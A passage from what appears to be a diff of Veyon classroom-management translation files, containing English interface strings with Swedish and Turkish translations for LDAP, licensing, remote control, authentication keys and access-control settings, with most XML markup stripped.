groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + Huvudfönster + + + toolBar + verktygsrad + + + General + Allmänt + + + &File + &Arkiv + + + &Help + &Hjälp + + + &Quit + A&vsluta + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &Läs in inställningar från fil + + + Ctrl+O + Ctrl+O + + + About Qt + Om Qt + + + Authentication impossible + + + + Configuration not writable + Konfigurationen är inte skrivbar + + + Load settings from file + Läs in inställningar från fil + + + Save settings to file + Spara inställningar till fil + + + Unsaved settings + Osparade inställningar + + + There are unsaved settings. Quit anyway? + Det finns osparade inställningar. Avsluta ändå? + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + Om Veyon + + + Auto + + + + Computer rooms + + + + About + Om + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + Åtkomst nekad + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + Användargränssnitt + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Test + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Användarnamn + + + Password + Lösenord + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Starta + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Starta om + + + Click this button to reboot all computers. + + + + Power down + Stäng av + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Fjärrstyrning + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Visa endast + + + Remote control + Fjärrstyrning + + + Send shortcut + + + + Fullscreen + Helskärm + + + Window + Fönster + + + Quit + Avsluta + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + Ansluter %1 + + + Connected. + Ansluten. + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + Allmänt + + + Autostart + Automatisk start + + + Hide tray icon + Dölj aktivitetsikonen + + + Start service + Starta tjänst + + + Stopped + Stoppad + + + Stop service + Stoppa tjänst + + + State: + Tillstånd: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Nätverk + + + Demo server port + Serverport för demo + + + Enable firewall exception + Aktivera brandväggsundantag + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Kör + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Skicka textmeddelande + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + Textmeddelande + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Aktivera fångst av flerskiktade fönster (semi-transparant) + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + Låg precision (turboläge) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Ingen skrivåtkomst + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + Etablerar anslutning till %1... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/tr.ts b/translations/tr.ts new file mode 100644 index 0000000..c929d52 --- /dev/null +++ b/translations/tr.ts @@ -0,0 +1,3828 @@ + + + AboutDialog + + About + Hakkında + + + Translation + Çeviri + + + License + Lisans + + + About Veyon + Veyon Hakkında + + + Contributors + Katkıda Bulunanlar + + + Version: + Sürüm: + + + Website: + Web Sitesi: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Geçerli dilde henüz bir çeviri yapılmamış (veya anadili İngilizce) . + +Veyon'u kendi dilinizde veya başka bir dile çevirmek istiyorsanız veya var olan bir çeviriyi geliştirmek istiyorsanız, lütfen bir Veyon geliştiricisine başvurun! + + + About %1 %2 +  %1 %2 Hakkında + + + Support Veyon project with a donation + Bağış ile Veyon projesini destekle + + + + AccessControlPage + + Computer access control + Bilgisayarlara erişim denetimi + + + Grant access to every authenticated user (default) + Yetkilendirilmiş her kullanıcıya erişim ver (öntamılı) + + + Test + Sına + + + Restrict access to members of certain user groups + Bazı kullanıcı kümelerinin üyelerine erişimi kısıtla + + + Process access control rules + İşlem erişim denetim kuralları + + + User groups authorized for computer access + Bilgisayar erişimi için yetkili kullanıcı kümeleri + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Veyon ağınızdaki bilgisayarlara erişmeye yetkili olacak kullanıcıları içeren kümeleri ekleyin. + + + Authorized user groups + Yetkili kullanıcı kümeleri + + + All groups + Tüm kümeler + + + ... + ... + + + Access control rules + Erişim denetim kuralları + + + Add access control rule + Erişim denetim kuralı ekle + + + Remove access control rule + Erişim denetim kuralını sil + + + Move selected rule down + Seçilen rolü aşağı taşı + + + Move selected rule up + Seçilen rolü yukarı taşı + + + Edit selected rule + Seçilen rolü düzenle + + + Enter username + Kullanıcı adı gir + + + Please enter a user login name whose access permissions to test: + Sınamak için izinlere erişecek bir kullanıcı giriş adı girin: + + + Access allowed + Erişime izin verildi + + + The specified user is allowed to access computers with this configuration. + Bu yapılandırmayla, belirtilen kullanıcının bilgisayarlara erişmesine izin verilmiştir. + + + Access denied + Erişim reddedildi + + + The specified user is not allowed to access computers with this configuration. + Bu yapılandırmayla, belirtilen kullanıcının bilgisayarlara erişmesine izin verilmemiştir. + + + Enable usage of domain groups + Alan adı kümelerinin kullanımını etkinleştir + + + User groups backend: + Kullanıcı kümeleri arka ucu: + + + Missing user groups backend + Eksik kullanıcı kümeleri arka ucu + + + No default user groups plugin was found. Please check your installation! + Öntanımlı kullanıcı kümeleri eklentisi bulunamadı. Lütfen kurulumunuzu gözden geçirin! + + + + AccessControlRuleEditDialog + + Edit access control rule + Erişim denetimi kuralını düzenle + + + General + Genel + + + enter a short name for the rule here + burada kural için kısa bir ad girin + + + Rule name: + Kural adı: + + + enter a description for the rule here + burada kural için kısa bir açıklama girin + + + Rule description: + Kural açıklaması: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Tüm koşulları tersine çevir ("is/has" [-dır], "is/has not" [...değildir] olarak yorumlanır) + + + Conditions + Koşullar + + + is member of group + kümenin üyesidir + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + Erişilen kullanıcı oturumu açmış + + + Accessing user is already connected + Erişilen kullanıcı zaten bağlı + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Eğer birden çok koşul etkinse, kuralın uygulanması için her koşulun yerine getirilmesi gerekiyorsa (mantıksal VE). Eğer birden çok koşulun yalnızca birinin yerine getirilmesi gerekiyorsa (mantıksal VEYA) lütfen çoğul erişim denetimi kuralları oluşturun. + + + Action + Eylem + + + Allow access + Erişime izin ver + + + Deny access + Erişimi reddet + + + Ask logged on user for permission + Oturum açan kullanıcıdan izin al + + + None (rule disabled) + Yok (kural devre dışı) + + + Accessing user + Kullanıcıya erişim + + + Accessing computer + Bilgisayara erişim + + + Local (logged on) user + Yerel (oturum açmış) kullanıcı + + + Local computer + Yerel bilgisayar + + + Always process rule and ignore conditions + Her zaman kuralı işle ve koşulları yok say + + + No user logged on + Oturum açan kullanıcı yok + + + Accessing computer is located in the same room as local computer + Erişilen bilgisayar yerel bilgisayarla aynı odada bulunmaktadır + + + Accessing user has one or more groups in common with local (logged on) user + Erişilen kullanıcı, yerel (oturum açmış) kullanıcıyla ortak bir veya daha çok kümeye sahip + + + + AccessControlRulesTestDialog + + Access control rules test + Erişim denetim kuralları + + + Accessing user: + Kullanıcıya erişim: + + + Local computer: + Yerel bilgisayar: + + + Accessing computer: + Bilgisayara erişim: + + + Please enter the following user and computer information in order to test the configured ruleset. + Lütfen, yapılandırılmış kural setini sınamak için takip eden kullanıcı ve bilgisayar bilgisini girin. + + + Local user: + Yerel kullanıcı: + + + Connected users: + Bağlı kullanıcılar: + + + The access in the given scenario is allowed. + Verilen senaryodaki erişime izin verildi. + + + The access in the given scenario is denied. + Verilen senaryodaki erişim reddedildi. + + + The access in the given scenario needs permission of the logged on user. + Verilen senaryodaki erişim, oturum açmış kullanıcının iznini gerektiriyor. + + + ERROR: Unknown action + HATA: Bilinmeyen eylem + + + Test result + Sınama sonuçları + + + + AuthKeysConfigurationPage + + Authentication keys + Yetkilendirme anahtarları + + + Introduction + Giriş + + + Key file directories + Anahtar dosyası dizinleri + + + Public key file base directory + Genel anahtar dizin yolu + + + Private key file base directory + Özel anahtar dizin yolu + + + ... + ... + + + Available authentication keys + + + + Create key pair + Anahtar çifti oluştur + + + Delete key + Anahtarı sil + + + Import key + Anahtarı içe aktar + + + Export key + Anahtarı dışa aktar + + + Set access group + + + + Key files (*.pem) + Anahtar dosyaları (*.pem) + + + Authentication key name + Yetkilendirme anahtarı adı + + + Please enter the name of the user group or role for which to create an authentication key pair: + Lütfen yetkilendirme anahtarı çifti oluşturulacak kullanıcı kümesinin veya rolün adını girin: + + + Do you really want to delete authentication key "%1/%2"? + "%1/%2" yetkilendirme anahtarını silmek istediğinize emin misiniz? + + + Please select a key to delete! + Lütfen silinecek anahtar seçin! + + + Please enter the name of the user group or role for which to import the authentication key: + Lütfen içe aktarılacak yetkilendirme anahtarı için kullanıcı kümesinin veya rolün adını girin: + + + Please select a key to export! + Lütfen dışa aktarılacak anahtar seçin! + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Lütfen izinlerinizi gözden geçirin. + + + Key name contains invalid characters! + Anahtar adı geçersiz karakterler içeriyor! + + + Invalid key type specified! Please specify "%1" or "%2". + Geçersiz anahtar türü belirtildi! Lütfen "%1" veya "%2" belirtin. + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Belirtilen anahtar yok! Lütfen tüm kurulu anahtarları listelemek için "list" komutunu kullanın. + + + One or more key files already exist! Please delete them using the "delete" command. + Bir veya daha çok anahtar zaten var! Lütfen onları silmek için "delete" komutunu kullanın. + + + Creating new key pair for "%1" + "%1" için yeni anahtar çifti oluşturuluyor + + + Failed to create public or private key! + Genel veya özel anahtar oluşturulamadı! + + + Newly created key pair has been saved to "%1" and "%2". + Yeni oluşturulan anahtar çifti "%1" ve "%2" konumuna kaydedildi. + + + Could not remove key file "%1"! + "%1" anahtar dosyası kaldırılamadı! + + + Could not remove key file directory "%1"! + "%1" anahtar dosyası dizini kaldırılamadı! + + + Failed to create directory for output file. + Çıktı dosyası için dizin oluşturulamadı. + + + File "%1" already exists. + "%1" dosyası zaten var. + + + Failed to write output file. + Çıktı dosyasına yazılamadı. + + + Key "%1/%2" has been exported to "%3" successfully. + "%1/%2" anahtarı başarıyla "%3" konumuna aktarıldı. + + + Failed read input file. + Girdi dosyası okunamadı. + + + File "%1" does not contain a valid private key! + "%1" dosyası geçerli özel anahtar içermiyor! + + + File "%1" does not contain a valid public key! + "%1" dosyası geçerli genel anahtar içermiyor! + + + Failed to create directory for key file. + Anahtar dosyası için dizin oluşturulamadı. + + + Failed to write key file "%1". + "%1" anahtar dosyasına yazılamadı. + + + Failed to set permissions for key file "%1"! + "%1" anahtar dosyası için izinler ayarlanamadı! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + "%1/%2" anahtarı başarıyla içe aktarıldı. Lütfen yetkisiz erişimleri önlemek için "%3" dosyasının izinlerini gözden geçirin. + + + Failed to convert private key to public key + Özel anahtar genel anahtara dönüştürülemedi + + + Failed to create directory for private key file "%1". + "%1" özel anahtar dosyası için dizin oluşturulamadı. + + + Failed to save private key in file "%1"! + Özel anahtar "%1" dosyasına kaydedilemedi! + + + Failed to set permissions for private key file "%1"! + "%1" özel anahtar dosyası için izinler ayarlanamadı! + + + Failed to create directory for public key file "%1". + "%1" genel anahtar dosyası için dizin oluşturulamadı. + + + Failed to save public key in file "%1"! + Genel anahtar "%1" dosyasına kaydedilemedi! + + + Failed to set permissions for public key file "%1"! + "%1" genel anahtar dosyası için izinler ayarlanamadı! + + + Failed to set owner of key file "%1" to "%2". + Anahtar dosyasının sahibi "%1" iken "%2" yapılamadı. + + + Failed to set permissions for key file "%1". + "%1" anahtar dosyası için izinler ayarlanamadı. + + + Key "%1" is now accessible by user group "%2". + "%1" anahtarı artık "%2" kullanıcı kümesi tarafından erişilebilir. + + + <N/A> + + + + Failed to read key file. + Anahtar dosyası okunamadı. + + + + AuthKeysPlugin + + Create new authentication key pair + Yeni yetkilendirme anahtar çifti oluştur + + + Delete authentication key + Yetkilendirme anahtarını sil + + + List authentication keys + Yetkilendirme anahtarlarını listele + + + Import public or private key + Genel veya özel anahtar içe aktar + + + Export public or private key + Genel veya özel anahtar dışa aktar + + + Extract public key from existing private key + Var olan özel anahtardan genel anahtar elde et + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Ad + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Odalar ve bilgisayarlar + + + Rooms + Odalar + + + Computers + Bilgisayarlar + + + Name + Ad + + + Host address/IP + Ana makine adresi/IP + + + MAC address + MAC adresi + + + Add new room + Yeni oda ekle + + + Remove selected room + Seçilen odayı kaldır + + + Add new computer + Yeni bilgisayar ekle + + + Remove selected computer + Seçilen bilgisayarı kaldır + + + New room + Yeni oda + + + New computer + Yeni bilgisayar + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + Komutlar için yardım göster + + + Add a room or computer + Oda ve bilgisayar ekle + + + Clear all rooms and computers + Tüm odaları ve bilgisayarları sil + + + Dump all or individual rooms and computers + Tüm odaları ve bilgisayarları tek tek boşalt + + + List all rooms and computers + Bütün odaları ve bilgisayarları listele + + + Remove a room or computer + Oda yada bilgisayar sil + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + Ad + + + Host address + + + + MAC address + MAC adresi + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Dahili VNC sunucusu (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Dahili VNC sunucusu (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Oda: %1 + + + Host/IP address: %1 + Ana makine/IP adresi: %1 + + + Active features: %1 + Etkin özellikler: %1 + + + Online and connected + Çevrim içi ve bağlı + + + Establishing connection + Bağlantı kuruluyor + + + Computer offline or switched off + Bilgisayar çevrim dışı veya kapalı + + + Service unreachable or not running + Hizmet erişilebilir değil veya çalışmıyor + + + Authentication failed or access denied + Yetkilendirme başarısız veya erişim reddedildi + + + Disconnected + Bağlı değil + + + No user logged on + Oturum açan kullanıcı yok + + + Logged on user: %1 + Oturum açan kullanıcı: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Yetkilendirme hatası + + + Remote access + Uzaktan erişim + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Bilgisayar yönetimi + + + Add room + Oda ekle + + + Save computer/user list + Bilgisayar/kullanıcı listesini kaydet + + + Select output filename + Çıktı dosya adı seç + + + CSV files (*.csv) + CSV dosyaları (*.csv) + + + File error + Dosya hatası + + + Could not write the computer and users list to %1! Please check the file access permissions. + Bilgisayar ve kullanıcı listesi %1 konumuna yazılamadı! Lütfen dosya erişim izinlerini gözden geçirin. + + + Computer search + Bilgisayar ara + + + + ComputerManager + + User + Kullanıcı + + + Missing network object directory plugin + Eksik ağ nesnesi dizini eklentisi + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Öntanımlı ağ nesnesi dizini eklentisi bulunamadı. Lütfen kurulumunuzu gözden geçirin veya %1 Yapılandırıcı aracılığıyla başka bir ağ nesnesi dizini eklentisi yapılandırın. + + + Computer name;Host name;User + Bilgisayar adı;Ana makine adı;Kullanıcı + + + Room detection failed + Oda saptama başarısız + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Bu bilgisayarın ait olduğu oda saptanamadı. Bu, sistem yapılandırmasında bir soruna işarettir. Buna karşılık tüm odalar bilgisayar yönetiminde gözükecektir. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Lütfen içe aktarmak için var olan yapılandırma dosyasını belirtin. + + + Please specify a valid filename for the configuration export. + Lütfen yapılandırmayı dışarı aktarmak için geçerli bir ad belirtin. + + + Please specify a valid key. + Lütfen geçerli bir anahtar belirtin. + + + Specified key does not exist in current configuration! + Belirtilen anahtar geçerli yapılandırmada bulunmuyor! + + + Please specify a valid value. + Lütfen geçerli bir değer belirtin. + + + Configure Veyon at command line + Veyon'u komut satırında yapılandır + + + Output file is not writable! + Çıktı dosyası yazılabilir değil! + + + Output directory is not writable! + Çıktı dizini yazılabilir değil! + + + Configuration file is not readable! + Yapılandırma dosyası okunabilir değil! + + + Clear system-wide Veyon configuration + Sistem geneli Veyon yapılandırmasını temizle + + + List all configuration keys and values + Tüm yapılandırma anahtarları ve değerlerini listele + + + Import configuration from given file + Yapılandırmayı verilen dosyadan içe aktar + + + Export configuration to given file + Yapılandırmayı verilen dosyaya dışa aktar + + + Read and output configuration value for given key + Verilen anahtar için yapılandırma değerini oku ve çıktıla + + + Write given value to given configuration key + Verilen değeri verilen yapılandırma anahtarına yaz + + + Unset (remove) given configuration key + Verilen yapılandırma anahtarını kaldır + + + Commands for managing the configuration of Veyon + Veyon'un 